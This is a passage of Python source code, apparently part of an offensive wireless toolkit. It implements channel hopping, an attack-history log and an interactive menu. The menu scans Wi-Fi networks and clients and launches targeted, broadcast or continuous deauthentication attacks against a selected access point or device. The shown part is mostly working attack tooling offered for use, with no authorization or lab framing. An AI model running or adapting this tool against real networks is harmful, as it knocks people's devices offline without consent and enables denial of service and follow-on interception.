|
|
|
if self.iw:
|
|
ok, out = _run([self.iw, 'dev', interface, 'set', 'channel', str(channel)])
|
|
if ok:
|
|
self._current_channel = channel
|
|
return {'ok': True, 'channel': channel, 'message': f'Set channel {channel}'}
|
|
return {'ok': False, 'error': out or f'Failed to set channel {channel}'}
|
|
|
|
if self.iwconfig:
|
|
ok, out = _run([self.iwconfig, interface, 'channel', str(channel)])
|
|
if ok:
|
|
self._current_channel = channel
|
|
return {'ok': True, 'channel': channel, 'message': f'Set channel {channel}'}
|
|
return {'ok': False, 'error': out or f'Failed to set channel {channel}'}
|
|
|
|
return {'ok': False, 'error': 'No tool available (need iw or iwconfig)'}
|
|
|
|
def channel_hop(self, interface: str, channels: Optional[List[int]] = None,
|
|
dwell: float = 0.5) -> Dict:
|
|
"""Start channel hopping in a background thread.
|
|
|
|
Default channels: 1-14 (2.4 GHz).
|
|
"""
|
|
if self._hop_running:
|
|
return {'ok': False, 'error': 'Channel hopping already active'}
|
|
if not interface:
|
|
return {'ok': False, 'error': 'No interface specified'}
|
|
|
|
if not channels:
|
|
channels = list(range(1, 15))
|
|
dwell = max(0.1, min(dwell, 30.0))
|
|
|
|
self._hop_running = True
|
|
|
|
def _hop_worker():
|
|
idx = 0
|
|
while self._hop_running:
|
|
ch = channels[idx % len(channels)]
|
|
self.set_channel(interface, ch)
|
|
idx += 1
|
|
time.sleep(dwell)
|
|
|
|
self._hop_thread = threading.Thread(
|
|
target=_hop_worker, daemon=True, name='deauth-channel-hop'
|
|
)
|
|
self._hop_thread.start()
|
|
|
|
return {
|
|
'ok': True,
|
|
'message': f'Channel hopping started on {interface}',
|
|
'channels': channels,
|
|
'dwell': dwell
|
|
}
|
|
|
|
def stop_channel_hop(self) -> Dict:
|
|
"""Stop channel hopping."""
|
|
if not self._hop_running:
|
|
return {'ok': False, 'error': 'Channel hopping not active'}
|
|
|
|
self._hop_running = False
|
|
if self._hop_thread:
|
|
self._hop_thread.join(timeout=5)
|
|
self._hop_thread = None
|
|
|
|
return {'ok': True, 'message': 'Channel hopping stopped'}
|
|
|
|
# ── History ──────────────────────────────────────────────────────────
|
|
|
|
def get_attack_history(self) -> List[Dict]:
|
|
"""Return past attacks with timestamps and stats."""
|
|
return list(self._history)
|
|
|
|
def clear_history(self) -> Dict:
|
|
"""Clear attack history."""
|
|
self._history = []
|
|
self._save_history()
|
|
return {'ok': True, 'message': 'History cleared'}
|
|
|
|
def _add_history(self, record: Dict):
|
|
"""Append an attack record and persist."""
|
|
self._history.append(record)
|
|
# Keep last 500 entries
|
|
if len(self._history) > 500:
|
|
self._history = self._history[-500:]
|
|
self._save_history()
|
|
|
|
def _load_history(self):
|
|
"""Load history from disk."""
|
|
try:
|
|
if os.path.isfile(self.history_path):
|
|
with open(self.history_path, 'r') as f:
|
|
self._history = json.load(f)
|
|
except Exception:
|
|
self._history = []
|
|
|
|
def _save_history(self):
|
|
"""Persist history to disk."""
|
|
try:
|
|
with open(self.history_path, 'w') as f:
|
|
json.dump(self._history, f, indent=2)
|
|
except Exception:
|
|
pass
|
|
|
|
# ── CLI Runner ───────────────────────────────────────────────────────
|
|
|
|
def print_status(self, message: str, status: str = "info"):
|
|
colors = {
|
|
"info": Colors.CYAN, "success": Colors.GREEN,
|
|
"warning": Colors.YELLOW, "error": Colors.RED
|
|
}
|
|
symbols = {"info": "*", "success": "+", "warning": "!", "error": "X"}
|
|
print(f"{colors.get(status, Colors.WHITE)}"
|
|
f"[{symbols.get(status, '*')}] {message}{Colors.RESET}")
|
|
|
|
|
|
def run():
|
|
"""CLI entry point for the deauth module."""
|
|
clear_screen()
|
|
display_banner()
|
|
deauth = get_deauth()
|
|
|
|
# Show tool status
|
|
tools = deauth.get_tools_status()
|
|
available = [k for k, v in tools.items() if v]
|
|
missing = [k for k, v in tools.items() if not v]
|
|
deauth.print_status(f"Available tools: {', '.join(available) if available else 'none'}", "info")
|
|
if missing:
|
|
deauth.print_status(f"Missing tools: {', '.join(missing)}", "warning")
|
|
print()
|
|
|
|
selected_iface = None
|
|
selected_bssid = None
|
|
selected_client = None
|
|
|
|
while True:
|
|
print(f"\n{Colors.BOLD}{Colors.RED}=== Deauth Attack ==={Colors.RESET}")
|
|
print(f" Interface: {Colors.CYAN}{selected_iface or 'none'}{Colors.RESET}")
|
|
print(f" Target AP: {Colors.CYAN}{selected_bssid or 'none'}{Colors.RESET}")
|
|
print(f" Client: {Colors.CYAN}{selected_client or 'broadcast'}{Colors.RESET}")
|
|
if deauth.is_attacking():
|
|
status = deauth.get_attack_status()
|
|
print(f" {Colors.RED}[ATTACKING]{Colors.RESET} "
|
|
f"{status['frames_sent']} frames / {status['duration']}s")
|
|
print()
|
|
print(f" {Colors.GREEN}1{Colors.RESET} - Select Interface")
|
|
print(f" {Colors.GREEN}2{Colors.RESET} - Scan Networks")
|
|
print(f" {Colors.GREEN}3{Colors.RESET} - Scan Clients")
|
|
print(f" {Colors.GREEN}4{Colors.RESET} - Targeted Deauth")
|
|
print(f" {Colors.GREEN}5{Colors.RESET} - Broadcast Deauth")
|
|
print(f" {Colors.GREEN}6{Colors.RESET} - Continuous Mode")
|
|
print(f" {Colors.GREEN}7{Colors.RESET} - Stop Attack")
|
|
print(f" {Colors.GREEN}8{Colors.RESET} - Set Channel")
|
|
print(f" {Colors.GREEN}0{Colors.RESET} - Back")
|
|
print()
|
|
|
|
choice = input(f"{Colors.BOLD}Choice > {Colors.RESET}").strip()
|
|
|
|
if choice == '0':
|
|
if deauth.is_attacking():
|
|
deauth.stop_continuous()
|
|
deauth.print_status("Stopped continuous attack", "warning")
|
|
break
|
|
|
|
elif choice == '1':
|
|
ifaces = deauth.get_interfaces()
|
|
if not ifaces:
|
|
deauth.print_status("No wireless interfaces found", "error")
|
|
continue
|
|
print(f"\n{'#':<4} {'Interface':<15} {'Mode':<12} {'Channel':<8} {'MAC'}")
|
|
for i, ifc in enumerate(ifaces):
|
|
print(f"{i+1:<4} {ifc['name']:<15} {ifc['mode']:<12} "
|
|
f"{ifc['channel']:<8} {ifc['mac']}")
|
|
sel = input(f"\nSelect interface (1-{len(ifaces)}): ").strip()
|
|
try:
|
|
idx = int(sel) - 1
|
|
if 0 <= idx < len(ifaces):
|
|
selected_iface = ifaces[idx]['name']
|
|
deauth.print_status(f"Selected: {selected_iface}", "success")
|
|
if ifaces[idx]['mode'] != 'monitor':
|
|
en = input("Enable monitor mode? (y/n): ").strip().lower()
|
|
if en == 'y':
|
|
r = deauth.enable_monitor(selected_iface)
|
|
if r['ok']:
|
|
selected_iface = r['interface']
|
|
deauth.print_status(r['message'], "success")
|
|
else:
|
|
deauth.print_status(r['error'], "error")
|
|
except ValueError:
|
|
pass
|
|
|
|
elif choice == '2':
|
|
if not selected_iface:
|
|
deauth.print_status("Select an interface first", "warning")
|
|
continue
|
|
dur = input("Scan duration (seconds) [10]: ").strip()
|
|
dur = int(dur) if dur.isdigit() else 10
|
|
deauth.print_status(f"Scanning for {dur}s on {selected_iface}...", "info")
|
|
nets = deauth.scan_networks(selected_iface, dur)
|
|
if not nets:
|
|
deauth.print_status("No networks found", "warning")
|
|
continue
|
|
print(f"\n{'#':<4} {'BSSID':<20} {'SSID':<25} {'CH':<5} "
|
|
f"{'Enc':<12} {'Sig':<6} {'Clients'}")
|
|
for i, n in enumerate(nets):
|
|
print(f"{i+1:<4} {n['bssid']:<20} {n['ssid']:<25} "
|
|
f"{n['channel']:<5} {n['encryption']:<12} "
|
|
f"{n['signal']:<6} {n['clients_count']}")
|
|
sel = input(f"\nSelect target AP (1-{len(nets)}, Enter to skip): ").strip()
|
|
try:
|
|
idx = int(sel) - 1
|
|
if 0 <= idx < len(nets):
|
|
selected_bssid = nets[idx]['bssid']
|
|
deauth.print_status(
|
|
f"Target: {nets[idx]['ssid']} ({selected_bssid})", "success"
|
|
)
|
|
except ValueError:
|
|
pass
|
|
|
|
elif choice == '3':
|
|
if not selected_iface:
|
|
deauth.print_status("Select an interface first", "warning")
|
|
continue
|
|
dur = input("Scan duration (seconds) [10]: ").strip()
|
|
dur = int(dur) if dur.isdigit() else 10
|
|
deauth.print_status(
|
|
f"Scanning clients{' on ' + selected_bssid if selected_bssid else ''}...",
|
|
"info"
|
|
)
|
|
clients = deauth.scan_clients(selected_iface, selected_bssid, dur)
|
|
if not clients:
|
|
deauth.print_status("No clients found", "warning")
|
|
continue
|
|
print(f"\n{'#':<4} {'Client MAC':<20} {'AP BSSID':<20} "
|
|
f"{'Signal':<8} {'Packets'}")
|
|
for i, c in enumerate(clients):
|
|
print(f"{i+1:<4} {c['client_mac']:<20} {c['ap_bssid']:<20} "
|
|
f"{c['signal']:<8} {c['packets']}")
|
|
sel = input(f"\nSelect client (1-{len(clients)}, Enter for broadcast): ").strip()
|
|
try:
|
|
idx = int(sel) - 1
|
|
if 0 <= idx < len(clients):
|
|
selected_client = clients[idx]['client_mac']
|
|
if not selected_bssid:
|
|
selected_bssid = clients[idx]['ap_bssid']
|
|
deauth.print_status(f"Client: {selected_client}", "success")
|
|
except ValueError:
|
|
selected_client = None
|
|
|
|
elif choice == '4':
|
|
if not selected_iface or not selected_bssid:
|
|
deauth.print_status("Select interface and target AP first", "warning")
|
|
continue
|
|
client = selected_client or input("Client MAC (Enter for broadcast): ").strip()
|
|
if not client:
|
|
client = BROADCAST
|
|
cnt = input("Frame count [10]: ").strip()
|
|
cnt = int(cnt) if cnt.isdigit() else 10
|
|
deauth.print_status(f"Sending {cnt} deauth frames...", "info")
|
|
r = deauth.deauth_targeted(selected_iface, selected_bssid, client, cnt)
|
|
if r['ok']:
|
|
deauth.print_status(
|
|
f"Sent {r['frames_sent']} frames in {r['duration']}s", "success"
|
|
)
|
|
else:
|
|
deauth.print_status(r['error'], "error")
|
|
|
|
elif choice == '5':
|
|
if not selected_iface or not selected_bssid:
|
|
deauth.print_status("Select interface and target AP first", "warning")
|
|
continue
|
|
cnt = input("Frame count [10]: ").strip()
|
|
cnt = int(cnt) if cnt.isdigit() else 10
|
|
deauth.print_status(f"Broadcasting {cnt} deauth frames...", "info")
|
|
r = deauth.deauth_broadcast(selected_iface, selected_bssid, cnt)
|
|
if r['ok']:
|
|
deauth.print_status(
|
|
f"Sent {r['frames_sent']} frames in {r['duration']}s", "success"
|
|
)
|
|
else:
|
|
deauth.print_status(r['error'], "error")
|
|
|
|
elif choice == '6':
|
|
if not selected_iface or not selected_bssid:
|
|
deauth.print_status("Select interface and target AP first", "warning")
|
|
continue
|
|
client = selected_client or BROADCAST
|
|
intv = input("Interval between bursts (seconds) [0.5]: ").strip()
|
|
intv = float(intv) if intv else 0.5
|
|
bst = input("Burst size [5]: ").strip()
|
|
bst = int(bst) if bst.isdigit() else 5
|
|
r = deauth.start_continuous(
|
|
selected_iface, selected_bssid, client, intv, bst
|
|
)
|
|
if r['ok']:
|
|
deauth.print_status(r['message'], "success")
|
|
else:
|
|
deauth.print_status(r['error'], "error")
|
|
|
|
elif choice == '7':
|
|
r = deauth.stop_continuous()
|
|
if r['ok']:
|
|
deauth.print_status(
|
|
f"Stopped. {r['frames_sent']} frames in {r['duration']}s",
|
|
"success"
|
|
)
|
|
else:
|
|
deauth.print_status(r.get('error', 'No attack running'), "warning")
|
|
|
|
elif choice == '8':
|
|
if not selected_iface:
|
|
deauth.print_status("Select an interface first", "warning")
|
|
continue
|
|
ch = input("Channel (1-196): ").strip()
|
|
try:
|
|
ch = int(ch)
|
|
r = deauth.set_channel(selected_iface, ch)
|
|
if r['ok']:
|
|
deauth.print_status(r['message'], "success")
|
|
else:
|
|
deauth.print_status(r['error'], "error")
|
|
except ValueError:
|
|
deauth.print_status("Invalid channel number", "error")
|
|
|
|
else:
|
|
deauth.print_status("Invalid choice", "warning")
|